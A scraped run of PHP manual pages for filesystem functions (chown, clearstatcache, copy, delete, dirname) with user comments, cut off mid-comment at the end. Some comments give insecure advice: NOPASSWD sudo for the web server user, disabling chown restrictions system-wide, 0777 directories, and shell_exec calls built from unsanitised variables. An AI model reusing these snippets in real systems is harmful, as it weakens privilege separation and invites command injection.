Usually when you're trying to write to af file, you'll need to chmod the file to something like 666 or 755. You can use a command to chmod the file for you, which is especially useful when you're making a script where you're setting it up so that your users don't have to peform a bunch of actions to setup the script. When i wrote my news program script, I only had two files. install.php and config.php. All you had to do was chmod install.php to 666 and open it up in a web browser and answer a few questions. The script itself setup the rest of the files and chmodded them for you.


Changes file owner

  • « chmod
  • clearstatcache »
  • PHP Manual
  • Filesystem Functions
  • Changes file owner

chown

(PHP 4, PHP 5)

chown — Changes file owner

Description

bool chown ( string $filename , mixed $user )

Attempts to change the owner of the file filename to user user. Only the superuser may change the owner of a file.

Parameters

filename

Path to the file.

user

A user name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple chown() usage

<?php

// File name and username to use
$file_name= "foo.php";
$path = "/home/sites/php.net/public_html/sandbox/" . $file_name ;
$user_name = "root";

// Set the user
chown($path, $user_name);

// Check the result
$stat = stat($path);
print_r(posix_getpwuid($stat['uid']));

?>

The above example will output something similar to:

Array
(
    [name] => root
    [passwd] => x
    [uid] => 0
    [gid] => 0
    [gecos] => root
    [dir] => /root
    [shell] => /bin/bash
)

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • chmod() - Changes file mode

User Contributed Notes

rickard at 0x539 dot se 18-Jun-2009 11:04
For most modern Linux systems your apache user should not be run as root, and in order to change the ownership of a file or directory, you need to be root. To get around this problem you can use sudo, but be careful with what permissions you give. Here is an example which is working for me:

www-data        ALL = NOPASSWD: /bin/chown 1[1-9][0-9][0-9]\:1[1-9][0-9][0-9] /home/www/[a-zA-Z0-9]*

This allows the apache server to change ownership of files in /home/www with name containing a-z, A-Z or numbers (note: no subdirectories). The only valid input of userid is a four digit numeric id, between 1100 and 1999.

Hope this helps.
Mikevac at yahoo dot com 01-Feb-2008 08:42
I've only tested this on Solaris 10 so your mileage may vary.

To allow the apache daemon to change file ownership without being root, add the following line to /etc/system:

set rstchown=0

Reboot the server.

There are security concerns doing this as this modification allows any user to change ownership of their files to anyone else.
Tayfun Bilsel 11-Jan-2006 05:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
greg _at_ rhythmicdesign d.o.t com 24-Feb-2004 01:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
    $d = opendir ($mypath) ;
    while(($file = readdir($d)) !== false) {
        if ($file != "." && $file != "..") {

            $typepath = $mypath . "/" . $file ;

            //print $typepath. " : " . filetype ($typepath). "<BR>" ;
            if (filetype ($typepath) == 'dir') {
                recurse_chown_chgrp ($typepath, $uid, $gid);
            }

            chown($typepath, $uid);
            chgrp($typepath, $gid);

        }
    }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Klaus Zierer 27-Jun-2003 05:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl 20-Jun-2003 04:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com 22-Sep-2000 08:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.


Clears file status cache

  • « chown
  • copy »
  • PHP Manual
  • Filesystem Functions
  • Clears file status cache

clearstatcache

(PHP 4, PHP 5)

clearstatcache — Clears file status cache

Description

void clearstatcache ([ bool $clear_realpath_cache = false [, string $filename ]] )

When you use stat(), lstat(), or any of the other functions listed in the affected functions list (below), PHP caches the information those functions return in order to provide faster performance. However, in certain cases, you may want to clear the cached information. For instance, if the same file is being checked multiple times within a single script, and that file is in danger of being removed or changed during that script's operation, you may elect to clear the status cache. In these cases, you can use the clearstatcache() function to clear the information that PHP caches about a file.

You should also note that PHP doesn't cache information about non-existent files. So, if you call file_exists() on a file that doesn't exist, it will return FALSE until you create the file. If you create the file, it will return TRUE even if you then delete the file. However unlink() clears the cache automatically.

Note:

This function caches information about specific filenames, so you only need to call clearstatcache() if you are performing multiple operations on the same filename and require the information about that particular file to not be cached.

Affected functions include stat(),
lstat(),
file_exists(),
is_writable(),
is_readable(),
is_executable(),
is_file(),
is_dir(),
is_link(),
filectime(),
fileatime(),
filemtime(),
fileinode(),
filegroup(),
fileowner(),
filesize(),
filetype(), and
fileperms().

Parameters

clear_realpath_cache

Whether to clear the realpath cache or not.

filename

Clear the realpath and the stat cache for a specific filename only; only used if clear_realpath_cache is TRUE.

Return Values

No value is returned.

Changelog

Version | Description
5.3.0 | Added optional clear_realpath_cache and filename parameters.

Examples

Example #1 clearstatcache() example

<?php
$file = 'output_log.txt';

function get_owner($file)
{
    $stat = stat($file);
    $user = posix_getpwuid($stat['uid']);
    return $user['name'];
}

$format = "UID @ %s: %s\n";

printf($format, date('r'), get_owner($file));

chown($file, 'ross');
printf($format, date('r'), get_owner($file));

clearstatcache();
printf($format, date('r'), get_owner($file));
?>

The above example will output something similar to:

UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross

User Contributed Notes

matt_m at me dot com 23-Sep-2011 12:04
unlink() does not clear the cache if you are performing file_exists() on a remote file like:

<?php
if (file_exists("ftp://ftp.example.com/somefile"))
?>

In this case, even after you unlink() successfully, you must call clearstatcache().

<?php
unlink("ftp://ftp.example.com/somefile");
clearstatcache();
?>

file_exists() then properly returns false.
markandrewslade at gmail dot com 08-Mar-2010 08:54
On Linux, a forked process inherits a copy of the parent's cache, but after forking the two caches do not impact each other.  The snippet below demonstrates this by creating a child and confirming outdated (cached) information, then clearing the cache, and getting new information.

<?php

function report($directory, $prefix = '') { printf('%sDoes %s exist?  PHP says "%s"'. PHP_EOL, $prefix, $directory, is_dir($directory) ? 'yes' : 'no'); }
$target = './delete-me-before-running-statcache';

if (is_dir($target)) {
    die("Delete $target before running.\n");
}

echo "Creating $target.\n";
mkdir($target) || die("Unable to create $target.\n");
report($target); // is_dir($target) is now cached as true

echo "Unlinking $target.\n";
rmdir($target) || die("Unable to unlink $target.\n");

// This will say "yes", which is old (inaccurate) information.
report($target);

if (($pid = pcntl_fork()) === -1) { die("Failed to pcntl_fork.\n"); }
elseif ($pid === 0) {
    // child
    report($target, '<<child>> ');
    echo "<<child>> Clearing stat cache.\n";
    clearstatcache();
    report($target, '<<child>> ');
} else {
    // parent
    sleep(2); // move this to the child block to reverse the test.
    report($target, '<<<parent>> ');
    clearstatcache();
    report($target, '<<<parent>> ');
}

?>


Copies file

  • « clearstatcache
  • delete »
  • PHP Manual
  • Filesystem Functions
  • Copies file

copy

(PHP 4, PHP 5)

copy — Copies file

Description

bool copy ( string $source , string $dest [, resource $context ] )

Makes a copy of the file source to dest.

If you wish to move a file, use the rename() function.

Parameters

source

Path to the source file.

dest

The destination path. If dest is a URL, the copy operation may fail if the wrapper does not support overwriting of existing files.

Warning

If the destination file already exists, it will be overwritten.

context

A valid context resource created with stream_context_create().

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Added context support.
4.3.0 | Both source and dest may now be URLs if the "fopen wrappers" have been enabled. See fopen() for more details.

Examples

Example #1 copy() example

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
    echo "failed to copy $file...\n";
}
?>

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • rename() - Renames a file or directory
  • The section of the manual about handling file uploads

User Contributed Notes

ASchmidt at Anamera dot net 28-May-2014 10:49
Below a code snippet for downloading a file from a web server to a local file.

It demonstrates useful customizations of the request (such as setting a User-Agent and Referrer, often required by web sites), and how to download only files if the copy on the web site is newer than the local copy.

It further demonstrates the processing of response headers (if set by server) to determine the timestamp and file name. The file type is checked because some servers return a 200 OK return code with a textual "not found" page, instead of a proper 404 return code.

<?php
// $fURI:         URL to a file located on a web server
// $target_file:    Path to a local file

if ( file_exists( $target_file ) ) {
    $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
}
else {
    $ifmodhdr = '';
}

// set request header for GET with referrer for modified files, that follows redirects
$arrRequestHeaders = array(
    'http'=>array(
        'method'        =>'GET',
        'protocol_version'    =>1.1,
        'follow_location'    =>1,
        'header'=>    "User-Agent: Anamera-Feed/1.0\r\n" .
                     "Referer: $source\r\n" .
            $ifmodhdr
            )
        );
$rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) );

// HTTP request completed, preserve system error, if any
if( $rc ) {
    if ( fclose( $rc ) ) {
        unset( $err );
    }
    else {
        $err = error_get_last();
    }
}
else {
    $err = error_get_last();
}

// Parse HTTP Response Headers for  HTTP Status, as well filename, type, date information
// Need to start from rear, to get last set of headers after possible sets of redirection headers
if ( $http_response_header ) {
    for ( $i = sizeof($http_response_header) - 1; $i >= 0; $i-- ) {
        if ( preg_match('@^http/\S+ (\S{3,}) (.+)$@i', $http_response_header[$i], $http_status) > 0 ) {
            // HTTP Status header means we have reached beginning of response headers for last request
            break;
        }
        elseif ( preg_match('@^(\S+):\s*(.+)\s*$@', $http_response_header[$i], $arrHeader) > 0 ) {
            switch ( $arrHeader[1] ) {
                case 'Last-Modified':
                    if ( !isset($http_content_modtime) ) {
                        $http_content_modtime = strtotime( $arrHeader[2] );
                    }
                    break;
                case 'Content-Type':
                    if ( !isset($http_content_image_type) ) {
                        if ( preg_match('@^image/(\w+)@ims', $arrHeader[2], $arrTokens) > 0 ) {
                            if ( in_array(strtolower($arrTokens[1]), $arrValidTypes)) {
                                $http_content_image_type = $arrTokens[1];
                                break;
                            }
                        }
                        throw new Exception( "Error accessing file $fURI; invalid content type: $arrHeader[2]", 2);
                    }
                    break;
                case 'Content-Disposition':
                    if ( !isset($http_content_filename) && preg_match('@filename\\s*=\\s*(?|"([^"]+)"|([\\S]+));?@ims', $arrHeader[2], $arrTokens) > 0 ) {
                        $http_content_filename = basename($arrTokens[1]);
                    }
                    break;
            }
        }
    }
}

if ( $http_status ) {
    // Make sure we have good HTTP Status
    switch ( $http_status[1] ) {
        case '200':
            // SUCCESS: HTTP Status is "200 OK"
            break;
        case '304':
            throw new Exception( "Remote file not newer: $fURI", $http_status[1] );
            break;
        case '404':
            throw new Exception( "Remote file not found: $fURI", $http_status[1] );
            break;
        default:
            throw new Exception( "HTTP Error, $http_status[2], accessing $fURI", $http_status[1] );
            break;
    }
}
elseif ( $err ) {
    // Protocol / Communication error
    throw new Exception( $err['message']/*."; Remote file: $fURI"*/, $err['type'] );
}
else {
    // No HTTP status and no error
    throw new customException( "Unknown HTTP response accessing $fURI: $http_response_header[0]", -1 );
}
?>

Notes:
1. Currently copy() does NOT appropriately handle the 304 response code. Instead of NOT performing a copy (possibly setting the RC), it will overwrite the target file with an zero length file.
2. There may be a problem accessing a list of remote files when HTTP 1.1 protocol is used. If you experience time-out errors, try the default 1.0 protocol version.
absorbentshoulderman at gmail dot com 03-Apr-2013 09:51
A nice simple trick if you need to make sure the folder exists first:

<?php

$srcfile='C:\File\Whatever\Path\Joe.txt';
$dstfile='G:\Shared\Reports\Joe.txt';
mkdir(dirname($dstfile), 0777, true);
copy($srcfile, $dstfile);

?>

That simple.
promaty at gmail dot com 17-May-2011 08:13
Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file.

I am using these for managing folders and zip archives for my website plugins.

<?php

// removes files and non-empty directories
function rrmdir($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rrmdir("$dir/$file");
    rmdir($dir);
  }
  else if (file_exists($dir)) unlink($dir);
}

// copies files and non-empty directories
function rcopy($src, $dst) {
  if (file_exists($dst)) rrmdir($dst);
  if (is_dir($src)) {
    mkdir($dst);
    $files = scandir($src);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rcopy("$src/$file", "$dst/$file");
  }
  else if (file_exists($src)) copy($src, $dst);
}
?>

Cheers!
cory at veck dot ca 30-Apr-2011 08:17
My own 'cp -R' written in PHP.

Hopefully it will work for your situation. I'm using it in a web based file manager for my CMS.

<?php

    define('DS', DIRECTORY_SEPARATOR); // I always use this short form in my code.

    function copy_r( $path, $dest )
    {
        if( is_dir($path) )
        {
            @mkdir( $dest );
            $objects = scandir($path);
            if( sizeof($objects) > 0 )
            {
                foreach( $objects as $file )
                {
                    if( $file == "." || $file == ".." )
                        continue;
                    // go on
                    if( is_dir( $path.DS.$file ) )
                    {
                        copy_r( $path.DS.$file, $dest.DS.$file );
                    }
                    else
                    {
                        copy( $path.DS.$file, $dest.DS.$file );
                    }
                }
            }
            return true;
        }
        elseif( is_file($path) )
        {
            return copy($path, $dest);
        }
        else
        {
            return false;
        }
    }

?>
Yoga Wibowo Aji 08-Feb-2011 06:22
you can try this code if you don't having permission to access the shell
this code is alternative for file copy

<?php
$source = 'myfile.doc';
$destination = 'clonefile.doc';

$data = file_get_contents($source);

$handle = fopen($destination, "w");
fwrite($handle, $data);
fclose($handle);
?>
eng-ayman at aymax dot net 30-Aug-2009 02:48
some hosts disable copy() function and say its for security

and for some copy is important so this is and simple function that do same as copy function effect

how smart php can help us l like php

<?php
    function copyemz($file1,$file2){
          $contentx =@file_get_contents($file1);
                   $openedfile = fopen($file2, "w");
                   fwrite($openedfile, $contentx);
                   fclose($openedfile);
                    if ($contentx === FALSE) {
                    $status=false;
                    }else $status=true;

                    return $status;
    }
?>
Sina Salek 02-Jun-2009 02:02
Thanks for all the comments, i wrote this function for fully supporting file and directory copy.
As you may have noticed there are feature that didn't have time to implement , but if you have time to implement them or even add more cool features, please notify me as well :). you can find me here http://sina.salek.ws/en/contact

PS : It was very useful for me, hope you find it useful as well.

<?php
    /**
     * Copy file or folder from source to destination, it can do
     * recursive copy as well and is very smart
     * It recursively creates the dest file or directory path if there weren't exists
     * Situtaions :
     * - Src:/home/test/file.txt ,Dst:/home/test/b ,Result:/home/test/b -> If source was file copy file.txt name with b as name to destination
     * - Src:/home/test/file.txt ,Dst:/home/test/b/ ,Result:/home/test/b/file.txt -> If source was file Creates b directory if does not exsits and copy file.txt into it
     * - Src:/home/test ,Dst:/home/ ,Result:/home/test/** -> If source was directory copy test directory and all of its content into dest
     * - Src:/home/test/ ,Dst:/home/ ,Result:/home/**-> if source was direcotry copy its content to dest
     * - Src:/home/test ,Dst:/home/test2 ,Result:/home/test2/** -> if source was directoy copy it and its content to dest with test2 as name
     * - Src:/home/test/ ,Dst:/home/test2 ,Result:->/home/test2/** if source was directoy copy it and its content to dest with test2 as name
     * @todo
     *     - Should have rollback technique so it can undo the copy when it wasn't successful
     *  - Auto destination technique should be possible to turn off
     *  - Supporting callback function
     *  - May prevent some issues on shared enviroments : http://us3.php.net/umask
     * @param $source //file or folder
     * @param $dest ///file or folder
     * @param $options //folderPermission,filePermission
     * @return boolean
     */
    function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
    {
        $result=false;

        if (is_file($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if (!file_exists($dest)) {
                    cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
                }
                $__dest=$dest."/".basename($source);
            } else {
                $__dest=$dest;
            }
            $result=copy($source, $__dest);
            chmod($__dest,$options['filePermission']);

        } elseif(is_dir($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if ($source[strlen($source)-1]=='/') {
                    //Copy only contents
                } else {
                    //Change parent itself and its contents
                    $dest=$dest.basename($source);
                    @mkdir($dest);
                    chmod($dest,$options['filePermission']);
                }
            } else {
                if ($source[strlen($source)-1]=='/') {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                } else {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                }
            }

            $dirHandle=opendir($source);
            while($file=readdir($dirHandle))
            {
                if($file!="." && $file!="..")
                {
                     if(!is_dir($source."/".$file)) {
                        $__dest=$dest."/".$file;
                    } else {
                        $__dest=$dest."/".$file;
                    }
                    //echo "$source/$file ||| $__dest<br />";
                    $result=smartCopy($source."/".$file, $__dest, $options);
                }
            }
            closedir($dirHandle);

        } else {
            $result=false;
        }
        return $result;
    }
?>
gimmicklessgpt at gmail dot com 21-May-2009 01:04
Here's a simple recursive function to copy entire directories

Note to do your own check to make sure the directory exists that you first call it on.

<?php
function recurse_copy($src,$dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            if ( is_dir($src . '/' . $file) ) {
                recurse_copy($src . '/' . $file,$dst . '/' . $file);
            }
            else {
                copy($src . '/' . $file,$dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}
?>
nensa at zeec dot biz 27-Jan-2009 08:44
When I recently had to copy a few millions of small files (< 1kb) from one NAS to another and for some reasons had to do that file by file I compared the following function with copy($src, $dest) and shell_exec("cp -r $src $dest").

Surprisingly stream_copy seamed to be slightly faster (at least in this specific context).

<?php
    function stream_copy($src, $dest)
    {
        $fsrc = fopen($src,'r');
        $fdest = fopen($dest,'w+');
        $len = stream_copy_to_stream($fsrc,$fdest);
        fclose($fsrc);
        fclose($fdest);
        return $len;
    }
?>
allasso residing at signalmesa dot com 28-Nov-2008 12:15
As far as recursive copy, something like this seems to work fine for me:

<?php
$output = shell_exec( " cp -r -a dir_source/* dir_dest 2>&1 " )
echo $output
?>

Of course you need to get all your permissions clear.  You can do the necessary stuff to use variables.

You could also do this to create the destination directory:

<?php
shell_exec( " cp -r -a dir_source dir_dest 2>&1 " )
?>

This will create a new directory called "dir_dest" if it does not already exist. This is a bit risky though if your situation is ambiguous, and you want to continue to make backups etc, 'cause if you do it twice you end up with:

dir_destination/dir_source

to avoid that one could do something like:

<?php
shell_exec( " mkdir dir_dest;  cp -r -a dir_source/* dir_dest 2>&1 " )
?>

Maybe someone can tell me when or why it would be better to use all that PHP code I see here.
jim dot mcgowen at cox dot net 14-Jul-2008 07:50
On Windows (not sure about Linux) copy will overwrite an existing file but will not change the case of the existing filename.

In other words if I have a file named "Myfile.txt" and I overwrite it using copy with a file named "MyFile.txt" it will overwrite it but the filename will remain "Myfile.txt".

If this is a problem (as it was for me) use unlink to delete the existing file first.
steve a h 20-Jun-2008 11:44
Don't forget; you can use copy on remote files, rather than doing messy fopen stuff.  e.g.

<?php
if(!@copy('http://someserver.com/somefile.zip','./somefile.zip'))
{
    $errors= error_get_last();
    echo "COPY ERROR: ".$errors['type'];
    echo "<br />\n".$errors['message'];
} else {
    echo "File copied from remote!";
}
?>
tom at r dot je 18-Jun-2008 05:30
It's worth noting that copy() sets the destination file's last modified time/date.
jtaylor -at- ashevillenc -dot- com 13-Feb-2007 09:48
It seems as though you can only use move_uploaded_file() once on a temporary file that has been uploaded through a form. Most likely the action this function takes destroys the temporary file after it has been moved, assuming permanent placement on a file system.

Attempting to use the function again in the same PHP script will return false and not move the file.

I ran into this when an image that was uploaded did not need resizing (smaller than a size threshold) and after moving the temporary upload to the "originals" directory, an attempt was made to again move the temporary file to another folder.

This behavior is understandable, but be careful - in this instance, I simply used copy() on the file that was already uploaded.
mspreij 27-Jan-2007 05:20
This function creates a new filename to use for a copy of the given filename, its behaviour was mostly sto^Wborrowed from how the OS X Finder (*1) does it.
Note it *doesn't* actually copy the file, it just returns the new name. I needed it to work regardless of data source (filesystem, ftp, etc).

It also tries to match the current name as neatly as possible:
foo.txt -> foo copy.txt -> foo copy 1.txt -> foo copy 2.txt [etc]
foo.bar.baz.jpg -> foo.bar.baz copy.jpg
foobar -> foobar copy -> foobar copy 1 [etc]
".txt" -> .txt copy, and "txt." -> txt. copy
file.longextension -> file.longextension copy

It keeps trying until it finds a name that is not yet taken in $list, or until it looped 500 times (change as needed).

If the renamed file becomes longer than max filename length, it starts chopping away at the end of the part before where it adds " copy": reallylong...filename.txt -> reallylong...filena copy.txt

<?php

// $orig = current name, of course
// $list = array of filenames in the target directory (if none given, it will still return a new name)
// $max = max length of filename
function duplicate_name($orig, $list = array(), $max = 64) {
  $ext = '';
  $counter = 0;
  $list = (array) $list;
  $max = (int) $max;
  $newname = $orig;
  do {
    $name = $newname; # name in, newname out
    if (preg_match('/ copy$| copy \d+$/', $name, $matches)) {
      // don't even check for extension, name ends with " copy[ digits]"
    // preg hereunder matches anything with at least one period in the middle and an extension of 1-5 characters
    }elseif (preg_match('/(.+)\.([^.]{1,5})$/', $name, $parts)) {
      // split to name & extension
      list($name, $ext) = array($parts[1], $parts[2]);
    }
    if (preg_match('/ copy (\d+)$/', $name, $digits)) {
      $newname = substr($name, 0, - strlen($digits[1])) . ($digits[1] + 1);
      # $cutlen is only used for the bit at the end where it checks on max filename length
      $cutlen = 6 + strlen($digits[1]+1); // ' copy ' + digits
    }elseif(preg_match('/ copy$/', $name, $digits)) {
      $newname = $name . ' 1';
      $cutlen = 7; // ' copy' + ' 1'
    }else{
      $newname = $name . ' copy';
      $cutlen = 5; // ' copy'
    }
    if ($ext) {
      $newname .= '.' . $ext;
      $cutlen += strlen($ext) + 1;
    }
    if ($max > 0) {
      if (strlen($newname) > $max) {
        $newname = substr($newname, 0, max($max - $cutlen, 0)) . substr($newname, -$cutlen);
        if (strlen($newname) > $max) {echo "duplicate_name() error: Can't keep the new name under given max length.\n"; return false;}
      }
    }
    if ($counter++ > 500) {echo "duplicate_name() error: Too many similarly named files or infinite while loop.\n"; return false;}
  } while (in_array($newname, $list));
  return $newname;
}

?>

*1) The Finder seems to check the extension vs a list of known extensions, this function considers it valid if it's 5 or fewer characters long.

ps. sorry for taking up so much space! :-)
cooper at asu dot ntu-kpi dot kiev dot ua 10-Mar-2006 01:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
simonr_at_orangutan_dot_co_dot_uk 03-Sep-2004 10:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
kadnan at yahoo dot com 30-Aug-2004 07:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan


See unlink or unset

  • « copy
  • dirname »
  • PHP Manual
  • Filesystem Functions
  • See unlink or unset

delete

delete — See unlink() or unset()

Description

This is a dummy manual entry to satisfy those people who are looking for unlink() or unset() in the wrong place.

See Also

  • unlink() - Deletes a file
  • unset() - Unset a given variable

User Contributed Notes

Guest Visitor 28-Aug-2013 05:38
A "dummy entry" is a "fake" entry or, in this case, an entry for a command that does not actually exist, so that people can find the correct one. The word "dummy" is used in the same way as in the expression "a tailor's dummy", which is a fake person used to stand in for a real client so that they can see the results of the work.
Edward Morgan 10-Jul-2013 12:45
Unlink refers to the underlying UNIX command, unlink, which removes the symbolic or hard link to the file, not necessarily the file itself. The file is only removed when all links to the file are removed.
Anonymous 05-Jul-2013 03:06
php is a C like language - the syntax is similar,
most of the functions in PHP are pulled from C  standard libraries (and POSIX)

"unlink" is a C function.  (originally POSIX, but recently standardised by ISO as _unlink)

"delete" is a CP/M command which is same as the "era" CP/M command

"del" is a MS-DOS command that is same as the "erase" MS-DOS command


Returns parent directory's path

  • « delete
  • disk_free_space »
  • PHP Manual
  • Filesystem Functions
  • Returns parent directory's path

dirname

(PHP 4, PHP 5)

dirname — Returns parent directory's path

Description

string dirname ( string $path )

Given a string containing the path of a file or directory, this function will return the parent directory's path.

Parameters

path

A path.

On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).

Return Values

Returns the path of the parent directory. If there are no slashes in path, a dot ('.') is returned, indicating the current directory. Otherwise, the returned string is path with any trailing /component removed.

Changelog

Version | Description
5.0.0 | dirname() is now binary safe

Examples

Example #1 dirname() example

<?php
echo "1) " . dirname("/etc/passwd") . PHP_EOL; // 1) /etc
echo "2) " . dirname("/etc/") . PHP_EOL; // 2) / (or \ on Windows)
echo "3) " . dirname("."); // 3) .
?>

Notes

Note:

dirname() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..".

Note:

dirname() is locale aware, so for it to see the correct directory name with multibyte character paths, the matching locale must be set using the setlocale() function.

Note:

Since PHP 4.3.0, you will often get a slash or a dot back from dirname() in situations where the older functionality would have given you the empty string.

Check the following change example:

<?php

//before PHP 4.3.0
dirname('c:/'); // returned '.'

//after PHP 4.3.0
dirname('c:/x'); // returns 'c:\'
dirname('c:/Temp/x'); // returns 'c:/Temp'
dirname('/x'); // returns '\'

?>

See Also

  • basename() - Returns trailing name component of path
  • pathinfo() - Returns information about a file path
  • realpath() - Returns canonicalized absolute pathname

User Contributed Notes

y dot a dot dejong at singular dot of dot alumni dot utwente dot nl 22-Oct-2014 04:51
As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__)
iam at shaz3e dot com 11-Mar-2014 10:34
File located locally in: F:\localhost\www\Shaz3e-ResponsiveFramework\S3-CMS\_source

Localhost Path: http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source/

Example 1: dirname($_SERVER['PHP_SELF']); //output:  /Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 2: "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); //output:  http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 3: $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']); //output:  s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source
frederikreiss at gmx dot de 11-Sep-2013 06:55
what about a recursive dirname. To get $count levels up in a directory.

<?php

function r_dirname($path, $count=1){
    if ($count > 1){
       return dirname(r_dirname($path, --$count));
    }else{
       return dirname($path);
    }
}
Yousef Ismaeil Cliprz 18-Feb-2013 11:39
You can get best root path if you want to call a file from you project paths.

Make sure this define in your www/index.php

or the core file that inside www/ root.

<?php

/**
 * @def (string) DS - Directory separator.
 */
define("DS","/",true);

/**
 * @def (resource) BASE_PATH - get a base path.
 */
define('BASE_PATH',realpath(dirname(__FILE__)).DS,true);

?>

You can call any file any time without any problems

<?php

include BASE_PATH.'inc/class.php';

?>
minimalist at intelligence dot com 11-Mar-2012 02:33
If you want to get the parent parent directory of your script, you can use this:

<?php
 //Example script path: home/content/en/script.php
 $parentparentdir=basename(dirname(dirname(__FILE__)));
 echo $parentparentdir; //will output 'content'
?>
nhl261 at yahoo dot com 27-Jun-2011 05:54
As usual, to include or require a file, we use this
<?php
require dirname(__FILE__) . DIRECTORY_SEPARATOR . 'my_file.php';
?>

in rare case, we have current file existing at the root directory, dirname would return C:\ or / , then the line above contains 2 slashes \\ or //
To handle this this case, we use rtrim to clear slashes.
<?php
require rtrim(dirname(__FILE__), '/\\') . DIRECTORY_SEPARATOR . 'my_file.php';
?>

Also, another use of dirname is to get virtual directory (url path), the issue is the same as above, we have to check and process before concatenating strings
subzey at immelman dot ru 07-Sep-2010 06:51
In some situations (I can't locate the dependencies) basename and dirname may return incorrect values if parsed string is in UTF-8.

Like, dirname("glossary/задний-фокус") will return "glossary" and basename("glossary/задний-фокус") will return "-фокус".

Quickfix is
str_replace("!$!", "", dirname(str_replace("/", "!$!/!$!", $q)))
webyazilimci84 at gmail dot com 25-Nov-2009 03:06
In my mvc based framework i make BASE_PATH and BASE_URL definitions like the following and both work well in the framework without problem.

index.php :

define('BASE_PATH',realpath('.'));
define('BASE_URL', dirname($_SERVER["SCRIPT_NAME"]));

BASE_PATH is for server side inclusions.
BASE_URL is for client side inclusions (scripts, css files, images etc.)
ken dot forslund at hp dot com 29-May-2009 10:33
A key problem to hierarchical include trees is that PHP processes include paths relative to the original file, not the current including file.

A solution to that, is to prefix all include paths with:
<?php str_replace('//','/',dirname(__FILE__)); ?>

this will generate a base path relative to the current file, which will then allow an include behavior similar to C/C++.

thus, to include a file that is 1 in the parent directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'../parent.php'); ?>

to include a file that is in the same directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'neighbor.php'); ?>

to include a file that is in a subdirectory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'folder/sub.php'); ?>

Notice that all paths we reference must NOT begin with a /, and must be relative to the current file, in order to concatenate correctly.
joe dot naylor at gmail dot com 13-Dec-2008 07:07
The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this:
$url = dirname($_SERVER['PHP_SELF']) . '/somepage.php';

However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'.  If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php.

I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking.

The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me:

<?php
function safe_dirname($path)
{
   $dirname = dirname($path);
   return $dirname == '/' ? '' : $dirname;
}
?>
Tom 20-Jul-2008 08:13
Expanding on Anonymous' comment, this is not necessarily correct. If the user is using a secure protocol, this URL is inaccurate. This will work properly:

<?php

